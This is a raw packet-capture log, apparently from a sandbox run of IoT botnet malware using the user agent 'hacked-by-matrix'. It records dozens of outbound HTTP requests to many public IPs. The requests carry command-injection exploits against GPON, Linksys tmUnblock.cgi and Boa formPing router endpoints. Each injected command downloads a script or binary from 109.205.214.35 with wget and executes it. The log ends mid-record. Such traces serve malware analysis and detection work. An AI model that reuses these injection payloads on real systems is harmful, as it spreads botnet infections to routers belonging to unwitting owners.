Mar 21, 2024 05:21:15.957218885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.14	54678	37.71.133.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963510990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.14	60904	109.147.22.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963558912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.14	41106	109.100.57.223	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963591099 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.14	49306	5.92.186.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963627100 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.14	59208	94.186.177.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963670969 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.14	49376	37.3.70.65	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963689089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.14	49324	37.18.105.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963731050 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.14	34244	37.8.204.215	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963758945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.14	52936	42.113.28.40	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963793039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.14	42080	210.70.126.93	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:18.963859081 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.14	40072	172.65.44.252	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:19.079240084 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.14	56816	213.79.55.50	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:20.300468922 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.14	44742	42.169.191.51	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:24.980638981 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.14	53696	118.212.105.148	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:24.980644941 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.14	39168	94.11.156.106	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:24.980650902 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.14	50802	37.215.70.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:30.997906923 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	48278	37.63.55.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:30.997948885 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	54758	5.184.175.247	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:30.997984886 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	47500	94.0.200.130	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:30.998059988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	47758	79.99.17.70	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:30.998063087 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	41324	172.65.46.45	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:33.213048935 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	57998	181.189.63.9	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:33.767637968 CET	270	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	59678	178.85.232.128	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005583048 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	41240	210.166.202.202	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:34.005628109 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	60130	109.172.187.110	443

Timestamp	Bytes transferred	Direction	Data
